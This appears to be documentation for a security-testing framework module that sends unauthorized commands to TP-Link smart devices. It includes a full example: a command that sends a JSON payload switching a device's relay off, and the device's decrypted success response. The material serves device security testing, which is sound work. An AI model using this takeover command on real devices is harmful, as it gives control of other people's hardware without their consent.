TCP

Transmission Control Protocol (TCP) is one of the main protocols of the Internet protocol suite that defines how to establish and maintain a network conversation through which application programs can exchange data. Many lightweight implementations of TCP are implemented in IoT.

tcp.tpliot.takeover

This test case allows to send unauthorized commands to TP-Link smart devices on the same network.

Usage details:

ef> run tcp.tpliot.takeover -h

Examples

Note

Use crypto.tpliot.decrypt to decrypt and convert HEX to JSON for -d

ef> run tcp.tpliot.takeover -r 10.42.0.113 -p 9999 -d {"context":{"source":"46a4d58b-6279-432c-ae23-e115c2db8354"},"system":{"set_relay_state":{"state":0}}}

[...]
[+] Received Response: 0000002dd0f281f88bff9af7d5ef94b6c5a0d48bf99cf091e8b7c4b0d1a5c0e2d8a381e496e4bbd8b7d3b694ae9ee39ee3
[+] Decrypted Response: {"system":{"set_relay_state":{"err_code":0}}}
[+] Test tcp.tpliot.takeover passed